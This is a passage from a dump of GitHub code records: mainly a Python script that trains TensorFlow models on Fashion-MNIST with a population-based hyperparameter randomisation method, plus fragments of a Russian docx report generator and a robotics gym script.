= 'Таблица соединений'\n inDx2 = 'ТЭ4'\n elif asg4 > 0 or asg44 > 0:\n inDx1 = 'Электромонтажный чертеж'\n inDx2 = 'МЭ'\n\n else:\n inDx1 = ''\n inDx2 = ''\n\n # print(end)\n df = g[start + 2:end]\n # print(df)\n GH = g[start + 1].upper()\n NameFile = f[0:15] # обозначение конструкторского документа состоит из первых 15 символов\n\n # разделяем размер файла пробелами\n num = int(size)\n num = '{0:,}'.format(num).replace(',', ' ')\n\n # проверка на тип файла документа (dwg или xls)\n data = str(size_of_file[k])\n flag = data.find(\"dwg\") != -1\n\n if (flag == True):\n name_program = \"AutoCad\"\n else:\n name_program = \"Exel\"\n\n salesTblRows.append(\n {\"sNo\": k + 1, \"name_chertega\": GH + df + \"\\n\" + inDx1, \"name_file\": f, \"program\": name_program,\n \"oboznach_file\": NameFile + \" \" + inDx2, \"size\": num})\n k += 1\n\n# create context to pass data to template\ncontext = {\n\n \"salesTblRows\": salesTblRows,\n \"topItemsRows\": \" \",\n \"date\": DATE,\n \"kolich_file\": len(size_of_file)\n}\n\n# render context into the document object\ndoc.render(context)\n\n# save the document object as a word file\nreportWordPath = 'ITOG-MNZ-FILE.docx'\ndoc.save(reportWordPath)\n\nprint(\"Формирование документа завершено.\")", "repo_name": "Dmitriy6655/diplom_Viligdanov-T", "sub_path": "MNZ_itog.py", "file_name": "MNZ_itog.py", "file_ext": "py", "file_size_in_byte": 4028, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "docxtpl.DocxTemplate", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 21, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}]} {"seq_id": "18983555152", "text": "# use Python 3.9\n# python3.9 -m venv env\n# source new3.9/bin/activate\n# pip3.9 install -r requirements.txt\n\n\nimport random\nimport math\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import figure\nimport scipy\nfrom scipy.special import softmax\nimport numpy as np\n\n# Typing\nimport typing\nfrom typing import TypeVar, Generic\nfrom collections.abc import Callable\n\nfrom tqdm import tqdm\nfrom sklearn.cluster import KMeans\nimport statistics\nimport dataclasses\nfrom dataclasses import dataclass\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras import datasets, layers, models\n#import keras.backend as K\nimport copy\nfrom copy import deepcopy\nimport tensorflow as tf\n\nfrom pd_paramters import pop_descent_classes\n\n\n\nimport time\nstart_time = time.time()\n\n\n\n\n# FUNCTIONS FOR NN IMPLEMENTATION\ndef new_NN_individual():\n\n\t# # FM Model (small)\n\t# model = tf.keras.Sequential([\n\t# tf.keras.layers.Flatten(input_shape=(28, 28)),\n # tf.keras.layers.Dense(128, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(l=.001)),\n # tf.keras.layers.Dense(64, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(l=.001)),\n # tf.keras.layers.Dense(10)\n\t# ])\n\n\t# # FM Model (small --> get equal results with PD and .fit)\n\t# model = tf.keras.Sequential([\n\t# tf.keras.layers.Flatten(input_shape=(28, 28)),\n # tf.keras.layers.Dense(128, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(l=.0001)), # good rate from hyperparameter search = 1e-4, 1e-5\n # tf.keras.layers.Dense(64, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(l=.0001)),\n # tf.keras.layers.Dense(10)\n\t# ])\n\n\t# # Keras Tutorial Model --> use for just overfitting rn\n\t# model = tf.keras.Sequential([\n\t# tf.keras.layers.Flatten(input_shape=(28, 28)),\n\t# tf.keras.layers.Dense(2, activation='tanh', kernel_regularizer=tf.keras.regularizers.l2(l=.0001)),\n\t# tf.keras.layers.Dense(10)\n\t# ])\n\n\n\t# # model #3: for trying to avoid overfitting, hyperparameter vs PD\n\tmodel = tf.keras.Sequential([\n\ttf.keras.layers.Flatten(input_shape=(28, 28)),\n\ttf.keras.layers.Dense(1024),\n\ttf.keras.layers.Dense(512),\n\ttf.keras.layers.Dense(256),\n tf.keras.layers.Dense(128, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(l=.001)),\n tf.keras.layers.Dense(64, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(l=.001)),\n tf.keras.layers.Dense(10)\n\t])\n\n\t# ## big keras model\n\n\t# model = tf.keras.Sequential()\n\t# model.add(layers.Conv2D(128, kernel_size=(3, 3), activation='relu', input_shape=FM_input_shape))\n\t# model.add(layers.Activation('relu'))\n\t# model.add(layers.Conv2D(filters=96, kernel_size=(3,3), strides=2))\n\t# model.add(layers.Activation('relu'))\n\n\t# # model.add(layers.Conv2D(filters=192, kernel_size=(3,3)))\n\t# # model.add(layers.Activation('relu'))\n\t# # model.add(layers.Conv2D(filters=192, kernel_size=(3,3), strides=2))\n\t# # model.add(layers.Activation('relu'))\n\n\t# model.add(layers.Flatten())\n\t# model.add(layers.BatchNormalization())\n\t# model.add(layers.Dense(128, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(l=.001)))\n\t# model.add(layers.Dense(256, kernel_regularizer=tf.keras.regularizers.l2(l=.001)))\n\t# model.add(layers.Dense(512))\n\n\t# model.add(layers.Activation('relu'))\n\n\t# model.add(layers.Dense(10, activation=\"softmax\"))\n\n\n\toptimizer = tf.keras.optimizers.Adam(learning_rate=1e-4) # 1e-3\n\tLR_constant = 10**(np.random.normal(-4, 2))\n\treg_constant = 10**(np.random.normal(0, 2))\n\tprint(LR_constant, reg_constant)\n\n\t# creating NN object with initialized parameters\n\tNN_object = NN_Individual(model, optimizer, LR_constant, reg_constant)\n\treturn NN_object\n\n\ndef NN_optimizer_manual_loss(NN_object):\n\n\t# classification_NN_compiler(NN_object.nn)\n\tbatch_size = 64\n\tepochs = 1\n\tnormalized_training_loss, normalized_validation_loss = [], []\n\n\toptimizer = NN_object.opt_obj\n\tlossfn = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n\n\tindices = np.random.choice(59999, size = (batch_size*21, ), replace=False)\n\tvIndices = np.random.choice(4999, size = (batch_size*10, ), replace=False)\n\n\t# FM dataset\n\trandom_batch_FM_train_images, random_batch_FM_train_labels = FM_train_images[indices], FM_train_labels[indices]\n\trandom_batch_FM_validation_images, random_batch_FM_validation_labels = FM_validation_images[vIndices], FM_validation_labels[vIndices]\n\n\t# NN_object.nn.fit(random_batch_FM_train_images, random_batch_FM_train_labels, validation_data = (random_batch_FM_validation_images, random_batch_FM_validation_labels), epochs=epochs, verbose=1, batch_size = batch_size)\n\n\tfor e in range(epochs):\n\t\t\n\t\twith tf.GradientTape() as tape:\n\n\t\t\t# make a prediction using the model and then calculate the loss\n\t\t\tmodel_loss = lossfn(random_batch_FM_train_labels, NN_object.nn(random_batch_FM_train_images))\n\t\t\n\t\t\t# use regularization constant\n\t\t\tregularization_loss = NN_object.nn.losses\n\t\t\treg_loss = regularization_loss[0]\n\t\t\t# reg_loss = ((regularization_loss[0] + regularization_loss[1]))\n\t\t\tmreg_loss = reg_loss * NN_object.reg_constant\n\t\t\t# mreg_loss = reg_loss * 1\n\n\t\t\t# total_training_loss = tf.math.multiply(NN_object.LR_constant, model_loss) # LR randomization\n\t\t\t# total_training_loss = model_loss + mreg_loss # REG randomization\n\t\t\ttotal_training_loss = NN_object.LR_constant * (model_loss + mreg_loss) # LR + REG randomization\n\n\t\t\ttf.print(\"training loss: %s\" % model_loss)\n\t\t\t# print(\"mreg los: %s\" % mreg_loss), print(\"\")\n\t\t\t# print(\"total loss: %s\" % total_training_loss), print(\"\")\n\n\t\t\tvalidation_loss = lossfn(random_batch_FM_validation_labels, NN_object.nn(random_batch_FM_validation_images))\n\t\t\ttf.print(\"validation loss: %s\" % validation_loss)\n\t\t\tprint(\"\")\n\t# \t# print(\" %s --> unnormalized training loss: %s\" % model_loss), print(\"\")\n\n\t# \t# # calculate the gradients using our tape and then update the model weights\n\t\tgrads = tape.gradient(model_loss, NN_object.nn.trainable_variables)\n\t\t# grads = tape.gradient(total_training_loss, NN_object.nn.trainable_variables) ## with LR randomization\n\t\toptimizer.apply_gradients(zip(grads, NN_object.nn.trainable_variables))\n\n\tnormalized_training_loss.append(2/(2+(model_loss)))\n\tnormalized_training_loss = np.array(normalized_training_loss)\n\n\tnormalized_validation_loss.append(2/(2+(validation_loss)))\n\tnormalized_validation_loss = np.array(normalized_validation_loss)\n\n\tprint(\"\"), print(\"normalized training loss: %s\" % normalized_training_loss)\n\tprint(\"normalized validation loss: %s\" % normalized_validation_loss)\n\n\t#print(model_loss)\n\treturn normalized_training_loss, normalized_validation_loss\n\ndef NN_randomizer_manual_loss(NN_object, normalized_amount):\n\tprint(\"\"), print(\"RANDOMIZING\")\n\t# original: (0, 1e-3), (0, normalized_amount), (0, normalized amount)\n\n\tfactor = 25\n\n\t# randomizing NN weights\n\tmodel_clone = tf.keras.models.clone_model(NN_object.nn)\n\tmodel_clone.set_weights(np.array(NN_object.nn.get_weights()))\n\n\tmu, sigma = 0, (1e-2) #1e-4 for sin\n\tgNoise = (np.random.normal(mu, sigma))*(normalized_amount)\n\n\tweights = np.array((NN_object.nn.get_weights()))\n\trandomized_weights = weights + gNoise\n\tmodel_clone.set_weights(randomized_weights)\n\n\t# randomizing regularization rate\n\tmu, sigma = 0, (normalized_amount*factor) # 0.7, 1 #10 # 0.3\n\tprint(mu, sigma)\n\tprint(\"\")\n\trandomization = 2**(np.random.normal(mu, sigma))\n\tnew_reg_constant = (NN_object.reg_constant) * randomization\n\n\tprint(\"reg randomization: %s\" % randomization)\n\tprint(\"%s NN_object.reg_constant\" % NN_object.reg_constant)\n\t# print(normalized_amount)\n\tprint(\"%s new_reg_constant\" % new_reg_constant), print(\"\")\n\n\t# randomizing learning_rates\n\tmu, sigma = 0, (normalized_amount*factor) # 0.7, 1 #10 # 0.3\n\trandomization = 2**(np.random.normal(mu, sigma))\n\tnew_LR_constant = (NN_object.LR_constant) * randomization\n\n\tprint(\"LR randomization: %s\" % randomization)\n\tprint(\"%s NN_object.LR_constant\" % NN_object.LR_constant)\n\tprint(normalized_amount)\n\tprint(\"%s new_lr_constant\" % new_LR_constant)\n\tprint(\"\"), print(\"factor=%s\" % factor)\n\n\tnew_NN_Individual = NN_Individual(model_clone, NN_object.opt_obj, new_LR_constant, new_reg_constant) # without randoimzed LR\n\n\treturn new_NN_Individual\n\n# unnormalized\ndef observer(NN_object, tIndices):\n\trandom_batch_FM_test_images, random_batch_FM_test_labels = FM_test_images[tIndices], FM_test_labels[tIndices]\n\n\tlossfn = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n\ttest_loss = lossfn(random_batch_FM_test_labels, NN_object.nn(random_batch_FM_test_images))\n\n\tntest_loss = 1/(1+test_loss)\n\n\treturn test_loss\n\ndef graph_history(history, trial, parameter_string, loss_data_string, best_training_model_string, best_test_model_loss_string):\n\tintegers = [i for i in range(1, (len(history))+1)]\n\tx = [j * rr for j in integers]\n\ty = history\n\n\tplt.scatter(x, history, s=20)\n\t# plt.rcParams.update({'font.size': 10})\n\t# figure(figsize=(3, 2), dpi=80)\n\n\tplt.tight_layout()\n\tplt.title(\"PD trial #%s\" % trial)\n\tplt.ylabel('unnormalized loss of best model')\n\tplt.xlabel('iterations')\n\n\tplt.xlabel(\"%s\\n\\n%s\\n\\n%s\\n\\n%s\" % (parameter_string, loss_data_string, best_training_model_string, best_test_model_loss_string))\n\n\t# for i,j in zip(x,y):\n\t# \tplt.annotate(str(j),xy=(i,j))\n\tplt.text(x[(len(x))-1], y[(len(y))-1], y[(len(y))-1])\n\tplt.axhline(y = y[(len(y))-1])\n\n\tplt.tight_layout()\n\tplt.savefig(\"TEST_DATA/PD_trial_%s.png\" % trial)\n\tplt.show(block=True), plt.pause(0.5), plt.close()\n\n\ndef evaluator(NN_object):\n\t# classification_NN_compiler(NN_object) # only if using manual loss optimizer/randomizer\n\tbatch_size = 64\n\n\tnp.random.seed(0)\n\ttIndices = np.random.choice(4999, size = (batch_size*25, ), replace=False)\n\trandom_batch_FM_test_images, random_batch_FM_test_labels = FM_test_images[tIndices], FM_test_labels[tIndices]\n\t\n\tprint(\"\"), print(\"\"), print(\"Evaluating models on test data after randomization\")\n\n\t# test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)\n\tlossfn = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n\ttest_loss = lossfn(random_batch_FM_test_labels, NN_object.nn(random_batch_FM_test_images))\n\n\t# test_loss, test_acc = NN_object.nn.evaluate(random_batch_FM_test_images, random_batch_FM_test_labels, batch_size = batch_size)\n\n\tntest_loss = 1/(1+test_loss)\n\tprint(\"unnormalized test loss: %s\" % test_loss)\n\tprint(\"normalized (1/1+loss) test loss: %s\" % ntest_loss)\n\n\treturn ntest_loss\n\n# def classification_NN_compiler(NN_object):\n# \tNN_object.nn.compile(optimizer=NN_object.opt_obj,\n# loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n# metrics=['accuracy'])\n# \treturn\n\n# External Evaluator\ndef Parameter_class_evaluator(population):\n\tall_test_loss, all_acc = [], []\n\n\tfor i in range(len(population)):\n\t\tindividual_total_loss = evaluator(population[i])\n\n\t\tall_test_loss.append(individual_total_loss)\n\n\tavg_total_test_loss = np.mean(all_test_loss)\n\tbest_test_model_loss = np.max(all_test_loss)\n\n\treturn avg_total_test_loss, best_test_model_loss\n\n# CLASSES\nIndividual = TypeVar('Individual')\n\n@dataclass\nclass Parameters(Generic[Individual]):\n\n\tpopulation: Callable[[int], np.array]\n\trandomizer: Callable[[np.array, float], np.array]\n\toptimizer: Callable[[np.array], np.array]\n\tobserver: Callable[[np.array], np.array] # check this for typing\n\trandomization: bool\n\tCV_selection: bool\n\trr: int\n\thistory: [np.array]\n\n# updated np typing\n\t# population: Callable[[int], npt.NDArray[Individual]]\n\t# randomizer: Callable[[npt.NDArray[Individual], float], np.Array[Individual]]\n\t# optimizer: Callable[[npt.NDArray[Individual]], np.Array[Individual]]\n\n@dataclass\nclass NN_Individual:\n\n\tnn: models.Sequential()\n\topt_obj: Adam()\n\tLR_constant: np.cfloat\n\treg_constant: np.cfloat\n\n\ndef individual_to_params(\n\tpop_size: int,\n\tnew_individual: Callable[[], Individual],\n\tindividual_randomizer: Callable[[Individual, float], Individual],\n\tindividual_optimizer: Callable[[Individual], Individual],\n\tobserver: Callable[[Individual], float],\n\trandomization: bool,\n\tCV_selection: bool,\n\trr: int, # randomization rate\n\thistory: [float]\n\t) -> Parameters[Individual]:\n\n\tdef Parameter_new_population(pop_size: int) -> np.array(Individual):\n\t\tpopulation = []\n\t\tfor i in range(pop_size):\n\t\t\tindividual = new_individual()\n\t\t\tpopulation.append(individual)\n\t\tpopulation = np.array(population)\n\n\t\treturn population\n\n\tdef Parameter_class_randomizer(population: np.array(Individual), normalized_amount: float) -> np.array(Individual):\n\t\trandomized_population = []\n\t\tfor i in range(len(population)):\n\t\t\tnew_object = individual_randomizer(population[i], normalized_amount[i])\n\t\t\trandomized_population.append(new_object)\n\t\trandomized_population = np.array(randomized_population)\n\n\t\treturn randomized_population\n\n\tdef Parameter_class_optimizer(population: np.array(Individual)) -> np.array(Individual):\n\t\tlFitnesses, vFitnesses = [], []\n\t\tfor i in range(len(population)):\n\t\t\tprint(\"\"), print(\"model #%s\" % (i+1)), print(\"\")\n\t\t\tnormalized_training_loss, normalized_validation_loss = individual_optimizer(population[i])\n\t\t\tlFitnesses.append(normalized_training_loss)\n\t\t\tvFitnesses.append(normalized_validation_loss)\n\n\t\tlFitnesses = np.array(lFitnesses)\n\t\tlFitnesses = lFitnesses.reshape([len(lFitnesses), ])\n\n\t\tvFitnesses = np.array(vFitnesses)\n\t\tvFitnesses = vFitnesses.reshape([len(vFitnesses), ])\n\n\t\treturn lFitnesses, vFitnesses\n\n\t# (during optimization)\n\tdef Parameter_class_observer(population, history):\n\n\t\tbatch_size = 64\n\t\ttIndices = np.random.choice(4999, size = (batch_size*10, ), replace=False)\n\n\t\tall_test_loss = []\n\t\tfor i in range(len(population)):\n\t\t\tunnormalized_model_loss = observer(population[i], tIndices)\n\t\t\tall_test_loss.append(unnormalized_model_loss)\n\n\t\tavg_test_loss = np.mean(all_test_loss)\n\t\tbest_test_model_loss = np.min(all_test_loss)\n\n\t\thistory.append(best_test_model_loss) ## main action of observer (to graph optimization progress later)\n\n\t\treturn\n\n\tParameters_object = Parameters(Parameter_new_population, Parameter_class_randomizer, Parameter_class_optimizer, Parameter_class_observer, randomization, CV_selection, rr, history)\n\treturn Parameters_object\n\n\ndef create_Parameters_NN_object(pop_size, randomization, CV_selection, rr):\n\thistory = []\n\n\tobject = individual_to_params(pop_size, new_NN_individual, NN_randomizer_manual_loss, NN_optimizer_manual_loss, observer, randomization=randomization, CV_selection=CV_selection, rr=rr, history=history)\n\tobject.population = object.population(pop_size) # initiazling population\n\n\treturn object\n\n\n# Fashion-MNIST dataset\nfashion_mnist = tf.keras.datasets.fashion_mnist\n(FM_train_images, FM_train_labels), (FM_test_images, FM_test_labels) = fashion_mnist.load_data()\n\nsample_shape = FM_train_images[0].shape\nimg_width, img_height = sample_shape[0], sample_shape[1]\nFM_input_shape = (img_width, img_height, 1)\n\n# Reshape data \nFM_train_images = FM_train_images.reshape(len(FM_train_images), FM_input_shape[0], FM_input_shape[1], FM_input_shape[2])\nFM_test_images = FM_test_images.reshape(len(FM_test_images), FM_input_shape[0], FM_input_shape[1], FM_input_shape[2])\n\n# normalizing data\nFM_train_images, FM_test_images = FM_train_images / 255.0, FM_test_images / 255.0\n\n# FM_validation_images, FM_validation_labels = FM_train_images[50000:59999], FM_train_labels[50000:59999]\n# FM_train_images, FM_train_labels = FM_train_images[0:50000], FM_train_labels[0:50000]\n\nFM_validation_images, FM_validation_labels = FM_test_images[0:5000], FM_test_labels[0:5000]\nFM_test_images, FM_test_labels = FM_test_images[5000:], FM_test_labels[5000:]\n\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n\n\ntrial = 1\n\n# Parameters\niterations = 125\npop_size = 4\nnumber_of_replaced_individuals = 2\nrandomization = True\nCV_selection = True\nrr = 15 # leash for exploration\n\nbatch_size = 64\nbatches = 21\n\n\n## MAIN RUNNING CODE\nif __name__ == \"__main__\":\n\n\tParameters_object = create_Parameters_NN_object(pop_size, randomization, CV_selection, rr)\n\n\tloss_data, acc_data, total_test_loss, batch_test_loss, total_test_acc = [], [], [], [], []\n\n\tfor i in range(1):\n\n\t\tprint(\"\"), print(\"MAJOR ITERATION %s: \" % (i+1)), print(\"\")\n\n\t\toptimized_population, lfitnesses, vfitnesses, history = pop_descent_classes(Parameters_object, number_of_replaced_individuals = number_of_replaced_individuals, iterations = iterations)\n\n\n\t\tprint(\"\"), print(\"\"), print(\"time:\"), print(\"--- %s seconds ---\" % (time.time() - start_time)), print(\"\"), print(\"\")\n\n\n\t\tbest_model = np.max(lfitnesses)\n\n\t\tlmean = statistics.mean(lfitnesses)\n\t\tloss_data.append(lmean)\n\n\t\t# evaluate from outside\n\t\ttotal_hist, batch_hist = [], []\n\t\tavg_total_loss, best_test_model_loss = Parameter_class_evaluator(optimized_population)\n\n\tprint(\"\"), print(\"Title: PD vs Hyperparameter Search\")\n\tparameter_string = \"CV_sel: %s, randomize=%s, %s iterations, %s models, %s replaced, rr=%s\" % (CV_selection, randomization, iterations, pop_size, number_of_replaced_individuals, rr)\n\tprint(\"\"), print(parameter_string)\n\tprint(\"\"), print(\"\")\n\tloss_data_string = \"avg normalized training loss of population on last epoch: %s\" % loss_data\n\tprint(loss_data_string)\n\tbest_training_model_string = \"normalized training loss of best model: %s\" % best_model\n\tprint(best_training_model_string)\n\n\tprint(\"\")\n\t# print(\"normalized average test loss: %s\" % avg_total_loss)\n\tprint(\"\")\n\tbest_test_model_loss_string = \"normalized (1/1+loss) best model test loss: %s\" % best_test_model_loss\n\tprint(best_test_model_loss_string)\n\tprint(\"\")\n\n\n\t\n\n\tgraph_history(history, trial, parameter_string, loss_data_string, best_training_model_string, best_test_model_loss_string)\n\n\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n", "repo_name": "abhi0220/popDescentExtra", "sub_path": "pd_fm.py", "file_name": "pd_fm.py", "file_ext": "py", "file_size_in_byte": 17640, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "time.time", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 74, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.regularizers.l2", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.regularizers.l2", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 104, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 106, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 124, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 125, "usage_type": "attribute"}, {"api_name": "tensorflow.GradientTape", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.print", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.print", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.clone_model", "line_number": 184, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 198, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 208, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 225, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 225, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 241, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 246, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 262, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 263, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 269, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 269, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 296, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 301, "usage_type": "call"}, {"api_name": "typing.Generic", "line_number": 304, "usage_type": "name"}, {"api_name": "collections.abc.Callable", "line_number": 306, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 306, "usage_type": "attribute"}, {"api_name": "collections.abc.Callable", "line_number": 307, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 307, "usage_type": "attribute"}, {"api_name": "collections.abc.Callable", "line_number": 308, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 308, "usage_type": "attribute"}, {"api_name": "collections.abc.Callable", "line_number": 309, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 309, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 313, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 303, "usage_type": "name"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 323, "usage_type": "call"}, {"api_name": "tensorflow.keras.models", "line_number": 323, "usage_type": "name"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.cfloat", "line_number": 325, "usage_type": "attribute"}, {"api_name": "numpy.cfloat", "line_number": 326, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 320, "usage_type": "name"}, {"api_name": "collections.abc.Callable", "line_number": 331, "usage_type": "name"}, {"api_name": "collections.abc.Callable", "line_number": 332, "usage_type": "name"}, {"api_name": "collections.abc.Callable", "line_number": 333, "usage_type": "name"}, {"api_name": "collections.abc.Callable", "line_number": 334, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 350, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 359, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 367, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 370, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 379, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 379, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 386, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 387, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 407, "usage_type": "attribute"}, {"api_name": "pd_paramters.pop_descent_classes", "line_number": 456, "usage_type": "call"}, {"api_name": "time.time", "line_number": 459, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 462, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 464, "usage_type": "call"}, {"api_name": "time.time", "line_number": 493, "usage_type": "call"}]} {"seq_id": "17188090437", "text": "import gym\nimport numpy as np\nimport itertools\nfrom urdfenvs.robots.generic_urdf import GenericUrdfReacher\nfrom MotionPlanningEnv.dynamicSphereObstacle import 